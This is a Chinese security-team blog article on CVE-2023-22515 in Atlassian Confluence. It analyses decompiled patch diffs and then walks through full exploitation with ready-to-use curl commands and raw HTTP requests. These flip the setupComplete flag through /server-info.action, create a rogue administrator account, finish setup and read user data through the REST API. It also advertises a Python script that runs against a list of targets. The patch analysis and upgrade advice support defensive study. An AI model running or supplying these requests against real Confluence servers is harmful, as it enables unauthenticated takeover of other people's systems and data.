点击蓝字 关注我们
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
一、漏洞介绍
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
2023 年 10 月 4 日,东方隐侠监测到Atlassian 发布了 Atlassian Confluence Data Center & Server 权限提升漏洞(CVE-2023-22515)的漏洞情报。未经身份验证的攻击者可以远程利用此漏洞,并且可以利用该漏洞在目标 Confluence 服务器上创建新的管理员帐户。这可能会导致服务器中保存的数据的完整性和机密性完全丧失。由于该漏洞的根本原因允许攻击者修改关键配置设置,因此攻击者可能不仅限于创建新管理员,可能还有其他可用的利用途径。
二、影响版本
-
8.0.0 <= Atlassian Confluence < 8.3.3
-
8.4.0 <= Atlassian Confluence < 8.4.3
-
8.5.0 <= Atlassian Confluence < 8.5.2
三、网络测绘
四、漏洞分析
通过将最新的易受攻击的软件版本(版本 8.5.1)与已修补的版本(版本 8.5.2)进行比较来分析此漏洞,过程中需要提取所有 JAR 文件并反编译。
通过分析发现com.atlassian.xwork.interceptors.SafeParametersInterceptor 已被修改,Confluence 基于 Apache Struts 框架构建,并使用了 XWork2 框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数。这是 Confluence 的一个已知安全问题:
XWork allows the setting of complex parameters on an XWork action object.
For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName(“Charles”) by the XWork parameters interceptor.
If getFormData() returns null, XWork will attempt to create a new object of the appropriate return type using its default constructor, and then set it with setFormData(newObject).
This leads to the potential for serious security vulnerabilities in XWork actions, as you can effectively call arbitrary methods on an Action object.
SafeParametersInterceptor 类的修改意味着这可能是攻击的实现方式,SafeParametersInterceptor 类尝试过滤传入 HTTP 请求可以设置的参数。
--- "a/\Confluence\8.5.1\com\atlassian\xwork\interceptors\SafeParametersInterceptor.java"
+++ "b/\Confluence\8.5.2\com\atlassian\xwork\interceptors\SafeParametersInterceptor.java"
@@ -2,174 +2,74 @@
* Decompiled with CFR 0.152.
*
* Could not load the following classes:
- * com.opensymphony.xwork2.Action
- * com.opensymphony.xwork2.ActionContext
- * com.opensymphony.xwork2.ActionInvocation
- * com.opensymphony.xwork2.interceptor.NoParameters
* com.opensymphony.xwork2.interceptor.ParametersInterceptor
- * com.opensymphony.xwork2.util.ValueStack
- * org.apache.struts2.dispatcher.HttpParameters
* org.slf4j.Logger
* org.slf4j.LoggerFactory
*/
package com.atlassian.xwork.interceptors;
import com.atlassian.xwork.ParameterSafe;
-import com.opensymphony.xwork2.Action;
-import com.opensymphony.xwork2.ActionContext;
-import com.opensymphony.xwork2.ActionInvocation;
-import com.opensymphony.xwork2.interceptor.NoParameters;
import com.opensymphony.xwork2.interceptor.ParametersInterceptor;
-import com.opensymphony.xwork2.util.ValueStack;
import java.beans.BeanInfo;
import java.beans.IntrospectionException;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
import java.util.regex.Pattern;
-import org.apache.struts2.dispatcher.HttpParameters;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class SafeParametersInterceptor
extends ParametersInterceptor {
public static final Logger log = LoggerFactory.getLogger(SafeParametersInterceptor.class);
- public static final String PARAMETER_NAME_BLOCKED = "Parameter name blocked: ";
- private static final Pattern EXCLUDE_CLASS_PATTERN = Pattern.compile(".*class[^a-z0-9_].*", 2);
- private static final Pattern SAFE_PARAMETER_NAME_PATTERN = Pattern.compile("\w+((\.\w+)|(\[\d+\])|(\['[\w.]*'\]))*");
- private static final Set<String> BLOCKED_PARAMETER_NAMES = new HashSet<String>(Arrays.asList("actionErrors", "actionMessages"));
- private static final Pattern MAP_PARAMETER_PATTERN = Pattern.compile(".*\['[a-zA-Z0-9_]+'\]");
- private boolean disableAnnotationChecks = false;
+ private static final Pattern MAP_PARAMETER_PATTERN = Pattern.compile(".*\['\w+']");
- protected void after(ActionInvocation dispatcher, String result) throws Exception {
+ protected boolean isAcceptableParameter(String name, Object action) {
+ return super.isAcceptableParameter(name, action) && SafeParametersInterceptor.isSafeComplexParameter(name, action);
}
- public void setDisableAnnotationChecks(boolean disableAnnotationChecks) {
- this.disableAnnotationChecks = disableAnnotationChecks;
- }
-
- public String doIntercept(ActionInvocation invocation) throws Exception {
- this.before(invocation);
- return super.doIntercept(invocation);
- }
-
- protected boolean shouldNotIntercept(ActionInvocation actionInvocation) {
- return actionInvocation.getAction() instanceof NoParameters;
- }
-
- /*
- * WARNING - Removed try catching itself - possible behaviour change.
- */
- protected void before(ActionInvocation invocation) throws Exception {
- if (this.shouldNotIntercept(invocation)) {
- return;
+ public static boolean isSafeComplexParameter(String key, Object action) {
+ BeanInfo beanInfo;
+ if (!SafeParametersInterceptor.isComplexParameter(key)) {
+ return true;
}
- Action action = (Action)invocation.getAction();
- Map<String, Object> parameters = this.filterSafeParameters(this.retrieveParameters(invocation.getInvocationContext()), action);
- if (log.isDebugEnabled()) {
- log.debug("Setting params " + parameters);
- }
- ActionContext invocationContext = invocation.getInvocationContext();
try {
- invocationContext.put("xwork.NullHandler.createNullObjects", (Object)Boolean.TRUE);
- invocationContext.put("xwork.MethodAccessor.denyMethodExecution", (Object)Boolean.TRUE);
- invocationContext.put("report.conversion.errors", (Object)Boolean.TRUE);
- if (parameters != null) {
- ValueStack stack = ActionContext.getContext().getValueStack();
- for (Map.Entry<String, Object> entry : parameters.entrySet()) {
- Long number;
- String name = entry.getKey();
- if (SafeParametersInterceptor.isNumeric(name) && (number = Long.valueOf(Long.parseLong(name))) > Integer.MAX_VALUE) {
- name = name + 'L';
- }
- stack.setValue(name, entry.getValue());
- }
- }
+ beanInfo = Introspector.getBeanInfo(action.getClass());
}
- finally {
- invocationContext.put("xwork.NullHandler.createNullObjects", (Object)Boolean.FALSE);
- invocationContext.put("xwork.MethodAccessor.denyMethodExecution", (Object)Boolean.FALSE);
- invocationContext.put("report.conversion.errors", (Object)Boolean.FALSE);
- }
- }
-
- private Map<String, Object> filterSafeParameters(HttpParameters parameters, Action action) {
- HashMap<String, Object> safeParameters = new HashMap<String, Object>();
- parameters.entrySet().stream().filter(entry -> SafeParametersInterceptor.isSafeParameterName((String)entry.getKey(), action, this.disableAnnotationChecks)).forEach(entry -> safeParameters.put((String)entry.getKey(), entry.getValue()));
- return safeParameters;
- }
-
- static boolean isSafeParameterName(String key, Action action) {
- return SafeParametersInterceptor.isSafeParameterName(key, action, true);
- }
-
- static boolean isSafeParameterName(String key, Action action, boolean disableAnnotationChecks) {
- if (BLOCKED_PARAMETER_NAMES.contains(key)) {
- return false;
- }
- if (EXCLUDE_CLASS_PATTERN.matcher(key).matches()) {
- log.info(PARAMETER_NAME_BLOCKED + key);
+ catch (IntrospectionException e) {
+ log.warn("Error introspecting action parameter {} for action {}", new Object[]{key, action, e});
return false;
}
- if (!SAFE_PARAMETER_NAME_PATTERN.matcher(key).matches()) {
+ String operatingParameter = SafeParametersInterceptor.extractOperatingParameterName(key);
+ for (PropertyDescriptor desc : beanInfo.getPropertyDescriptors()) {
+ if (!desc.getName().equals(operatingParameter)) continue;
+ if (SafeParametersInterceptor.isMethodDesignatedSafe(desc.getReadMethod())) {
+ return true;
+ }
+ log.warn("Attempt to call unsafe property setter {} on {}", (Object)key, action);
return false;
}
- if (!disableAnnotationChecks && (key.contains(".") || MAP_PARAMETER_PATTERN.matcher(key).matches())) {
- return SafeParametersInterceptor.isSafeComplexParameterName(key, action);
- }
- return true;
+ return false;
}
- private static boolean isSafeComplexParameterName(String key, Action action) {
- try {
- PropertyDescriptor[] descs;
- String initialParameterName = SafeParametersInterceptor.extractInitialParameterName(key);
- BeanInfo info = Introspector.getBeanInfo(action.getClass());
- for (PropertyDescriptor desc : descs = info.getPropertyDescriptors()) {
- if (!desc.getName().equals(initialParameterName)) continue;
- if (SafeParametersInterceptor.isSafeMethod(desc.getReadMethod())) {
- return true;
- }
- log.info("Attempt to call unsafe property setter " + key + " on " + action);
- return false;
- }
- }
- catch (IntrospectionException e) {
- log.warn("Error introspecting action parameter " + key + " for action " + action + ": " + e.getMessage(), (Throwable)e);
- }
- return false;
+ private static boolean isComplexParameter(String key) {
+ return key.contains(".") || MAP_PARAMETER_PATTERN.matcher(key).matches();
}
- private static String extractInitialParameterName(String key) {
+ private static String extractOperatingParameterName(String key) {
if (!key.contains("[") || key.indexOf(".") > 0 && key.indexOf("[") > key.indexOf(".")) {
return key.substring(0, key.indexOf("."));
}
return key.substring(0, key.indexOf("["));
}
- private static boolean isSafeMethod(Method writeMethod) {
- boolean isAnnotationTrue = false;
- boolean isReturnTypeTrue = false;
- if (writeMethod != null) {
- boolean bl = isAnnotationTrue = writeMethod.getAnnotation(ParameterSafe.class) != null;
- }
- if (writeMethod.getReturnType() != null) {
- isReturnTypeTrue = writeMethod.getReturnType().getAnnotation(ParameterSafe.class) != null;
- }
- return isAnnotationTrue || isReturnTypeTrue;
- }
-
- private static boolean isNumeric(String str) {
- for (char c : str.toCharArray()) {
- if (Character.isDigit(c)) continue;
+ private static boolean isMethodDesignatedSafe(Method readMethod) {
+ if (readMethod == null) {
return false;
}
- return true;
+ boolean isMethodAnnotated = readMethod.getAnnotation(ParameterSafe.class) != null;
+ boolean isReturnTypeAnnotated = readMethod.getReturnType().getAnnotation(ParameterSafe.class) != null;
+ return isMethodAnnotated || isReturnTypeAnnotated;
}
}
com.atlassian.confluence.impl.setup.BootstrapStatusProviderImpl 类已被修改。
getApplicationConfig 和 getSetupPersister 方法都已更改。这些方法的修补版本都返回一个包装对象,根据所使用的命名约定,该对象被指定为只读。
--- "a/\Confluence\8.5.1\com\atlassian\confluence\impl\setup\BootstrapStatusProviderImpl.java"
+++ "b/\Confluence\8.5.2\com\atlassian\confluence\impl\setup\BootstrapStatusProviderImpl.java"
@@ -16,6 +16,8 @@ import com.atlassian.config.db.HibernateConfig;
import com.atlassian.config.db.HibernateConfigurator;
import com.atlassian.config.setup.SetupPersister;
import com.atlassian.config.util.BootstrapUtils;
+import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig;
+import com.atlassian.confluence.impl.setup.ReadOnlySetupPersister;
import com.atlassian.confluence.setup.BootstrapManagerInternal;
import com.atlassian.confluence.setup.BootstrapStatusProvider;
import com.atlassian.confluence.setup.BootstrapStatusProviderException;
@@ -93,12 +95,12 @@ BootstrapManagerInternal {
public ApplicationConfiguration getApplicationConfig() {
- return this.delegate.getApplicationConfig();
+ return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());
}
public SetupPersister getSetupPersister() {
- return this.delegate.getSetupPersister();
+ return new ReadOnlySetupPersister(this.delegate.getSetupPersister());
}
--- "a/\Confluence\8.5.1\com\atlassian\confluence\impl\setup\ReadOnlyApplicationConfig.java"
+++ "b/\Confluence\8.5.2\com\atlassian\confluence\impl\setup\ReadOnlyApplicationConfig.java"
@@ -0,0 +1,175 @@
+/*
+ * Decompiled with CFR 0.152.
+ */
+package com.atlassian.confluence.impl.setup;
+
+import com.atlassian.config.ApplicationConfiguration;
+import com.atlassian.config.ConfigurationException;
+import com.atlassian.config.ConfigurationPersister;
+import java.util.HashMap;
+import java.util.Map;
+
+public class ReadOnlyApplicationConfig
+implements ApplicationConfiguration {
+ private final ApplicationConfiguration delegate;
+
+ public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) {
+ this.delegate = delegate;
+ }
+
+
+ public String getApplicationHome() {
+ return this.delegate.getApplicationHome();
+ }
+
+
+ public void setApplicationHome(String home) throws ConfigurationException {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public boolean isApplicationHomeValid() {
+ return this.delegate.isApplicationHomeValid();
+ }
+
+
+ public void setProperty(Object key, Object value) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public void setProperty(Object key, int value) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public void setProperty(Object key, boolean value) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public Object getProperty(Object key) {
+ return this.delegate.getProperty(key);
+ }
+
+
+ public boolean getBooleanProperty(Object key) {
+ return this.delegate.getBooleanProperty(key);
+ }
+
+
+ public int getIntegerProperty(Object key) {
+ return this.delegate.getIntegerProperty(key);
+ }
+
+
+ public Object removeProperty(Object key) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public Map getProperties() {
+ return new HashMap(this.delegate.getProperties());
+ }
+
+
+ public String getBuildNumber() {
+ return this.delegate.getBuildNumber();
+ }
+
+
+ public void setBuildNumber(String build) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public int getMajorVersion() {
+ return this.delegate.getMajorVersion();
+ }
+
+
+ public void setMajorVersion(int majorVersion) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public int getMinorVersion() {
+ return this.delegate.getMinorVersion();
+ }
+
+
+ public void setMinorVersion(int minorVersion) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public String getApplicationVersion() {
+ return this.delegate.getApplicationVersion();
+ }
+
+
+ public Map getPropertiesWithPrefix(String prefix) {
+ return this.delegate.getPropertiesWithPrefix(prefix);
+ }
+
+
+ public boolean isSetupComplete() {
+ return this.delegate.isSetupComplete();
+ }
+
+
+ public void setSetupComplete(boolean setupComplete) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public void setConfigurationPersister(ConfigurationPersister config) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public void save() throws ConfigurationException {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public void reset() {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public String getSetupType() {
+ return this.delegate.getSetupType();
+ }
+
+
+ public void setSetupType(String setupType) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public String getCurrentSetupStep() {
+ return this.delegate.getCurrentSetupStep();
+ }
+
+
+ public void setCurrentSetupStep(String currentSetupStep) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public void load() throws ConfigurationException {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+
+ public boolean configFileExists() {
+ return this.delegate.configFileExists();
+ }
+
+
+ public void setConfigurationFileName(String configurationFileName) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+}
+
public void setSetupComplete(boolean setupComplete) {
throw new UnsupportedOperationException("Mutation not allowed");
}
--- "a/\Confluence\atlassian-confluence-8.5.1\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.5.1\struts.xml"
+++ "b/\Confluence\atlassian-confluence-8.5.2\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.5.2\struts.xml"
@@ -14,7 +14,8 @@
<constant name="struts.action.excludePattern" value="^/rest/.*,^/plugins/servlet/.*"/>
<constant name="struts.xwork.chaining.copyErrors" value="true"/>
<constant name="struts.i18n.reload" value="${confluence.i18n.reloadbundles}"/>
- <constant name="struts.additional.excludedPatterns" value="^action(Errors|Messages)"/>
+ <constant name="struts.additional.excludedPatterns" value="action(Errors|Messages)"/>
+ <constant name="struts.override.acceptedPatterns" value="w+((.w+)|([d+])|(['w+']))*"/>
<constant name="struts.disableRequestAttributeValueStackLookup" value="true"/>
<!-- struts.action.chaining.variable.translation.enabled is a custom property implemented in Atlassian's fork of Struts 2.5.30 -->
<constant name="struts.action.chaining.variable.translation.enabled" value="false"/>
@@ -495,9 +496,6 @@
<result name="success" type="velocity-xml">/admin/longrunningtask-xml.vm</result>
</action>
- <action name="server-info" class="com.atlassian.confluence.core.actions.ServerInfoAction">
- <result name="success" type="rawText">success</result>
- </action>
</package>
<package name="ajax" extends="default" namespace="/ajax">
--- "a/\Confluence\8.5.1\com\atlassian\confluence\core\actions\ServerInfoAction.java"
+++ "b/\Confluence\8.5.2\com\atlassian\confluence\core\actions\ServerInfoAction.java"
-/*
- * Decompiled with CFR 0.152.
- *
- * Could not load the following classes:
- * com.atlassian.xwork.HttpMethod
- * com.atlassian.xwork.PermittedMethods
- */
-package com.atlassian.confluence.core.actions;
-
-import com.atlassian.annotations.security.XsrfProtectionExcluded;
-import com.atlassian.confluence.core.ConfluenceActionSupport;
-import com.atlassian.confluence.security.access.annotations.PublicAccess;
-import com.atlassian.xwork.HttpMethod;
-import com.atlassian.xwork.PermittedMethods;
-
-public class ServerInfoAction
-extends ConfluenceActionSupport {
- @PermittedMethods(value={HttpMethod.ANY_METHOD})
- @XsrfProtectionExcluded
- @PublicAccess
- public String execute() throws Exception {
- return "success";
- }
-}
-
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://xxx:8090/setup/setupadministrator.action
<struts>
<!-- ...snip... -->
<package name="default">
<!-- ...snip... -->
<interceptors>
<!-- ...snip... -->
<interceptor name="setup" class="com.atlassian.confluence.setup.actions.SetupCheckInterceptor"/>
package com.atlassian.confluence.setup.actions;
import com.atlassian.config.util.BootstrapUtils;
import com.atlassian.spring.container.ContainerManager;
import com.opensymphony.xwork2.ActionInvocation;
import com.opensymphony.xwork2.interceptor.Interceptor;
public class SetupCheckInterceptor implements Interceptor {
public static final String ALREADY_SETUP = "alreadysetup";
public void destroy() {}
public void init() {}
public String intercept(ActionInvocation actionInvocation) throws Exception {
if (BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup()) // <–--
return "alreadysetup";
return actionInvocation.invoke();
}
}
public class DefaultAtlassianBootstrapManager implements AtlassianBootstrapManager {
// ...snip...
public boolean isSetupComplete() {
return (isBootstrapped() && this.applicationConfig.isSetupComplete()); // <–--
}
// ...snip...
}
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
// ...snip...
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
// ...snip...
}
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
// ...snip...
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
// ...snip...
}
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}
curl -vk http://XXXX:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
通过附加调试器,我们可以检查正在执行的 setSetupComplete(false) 调用。如下图所示,我们可以看到成员变量this.setupComplete为true,但提供给该方法的参数setupComplete为false。这是攻击者控制的值。 我们可以从调用堆栈中注意到,该方法调用源自 SafeParametersInterceptor.doIntercept,后者又调用了ParametersInterceptor.doIntercept,然后调用复杂的操作序列以反映到 Action 中,并通过攻击者提供的 getter/setter 设置属性链。
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=dfyxfans&fullName=dfyxfans&email=dfyxfans%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://XXXX:8090/setup/setupadministrator.action
为了避免向所有用户显示一条消息,表明安装已完成,我们可以向 /setup/finishsetup.action 端点发出请求。 curl -vk -X POST -H "X-Atlassian-Token: no-check" http://xxxx:8090/setup/finishsetup.action
现在,我们可以以新创建的管理员 dfyxfans 身份登录目标 Confluence 服务器。
此漏洞的根本原因是攻击者能够在未经身份验证的端点的 Action 对象上执行复杂的 getter/setter 链,从而允许修改关键属性。 通过修改 setupComplete 变量,攻击者能够利用设置功能来创建新的管理员用户。但是,攻击者并不限于此,并且可以合理地假设,除了针对特定端点(例如继承自 ConfluenceActionSupport 的 /server-info.action(与许多其他操作一样))或利用创建新管理员用户的漏洞。
五、漏洞复现
1、可以尝试访问setup 的接口(可忽略该操作)
GET /setup/setupadministrator-start.action HTTP/1.1
Host: xxxxxx
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
显示已安装(Setup is aleready complete)
2、覆盖 setupComplete 属性
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: xxx
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
3、添加管理员
POST /setup/setupadministrator.action HTTP/1.1
Host: xxxx
User-Agent: https://github.com/Chocapikk/CVE-2023-22515
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-Atlassian-Token: no-check
Content-Length: 122
Content-Type: application/x-www-form-urlencoded
username=dfyxfans&fullName=dfyxfans&email=dfyxfans%40localhost&password=Password2&confirm=Password2&setup-next-button=Next
4、访问用户查看接口即可读取用户资料:、
GET http://xxx/rest/api/user?username=dfyxfans HTTP/1.1
Host: xxx
User-Agent: https://github.com/Chocapikk/CVE-2023-22515
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-Atlassian-Token: no-check
Authorization: Basic dGVzdDU1NTU6UGFzc3dvcmQy
自动化脚本请前往知识大陆获取
python CVE-2023-22515.py normal XXXurl
python CVE-2023-22515.py mass targets.txt
六、修复手段
目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。
下载地址:https://www.atlassian.com/zh/software/confluence/download-archives
· END·
关注东方隐侠安全团队 为安全界刮起一股侠客风
东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!
公众号|东方隐侠安全实验室
原文始发于微信公众号(东方隐侠安全实验室):烽火狼烟|Confluence Data Center & Server 权限提升漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论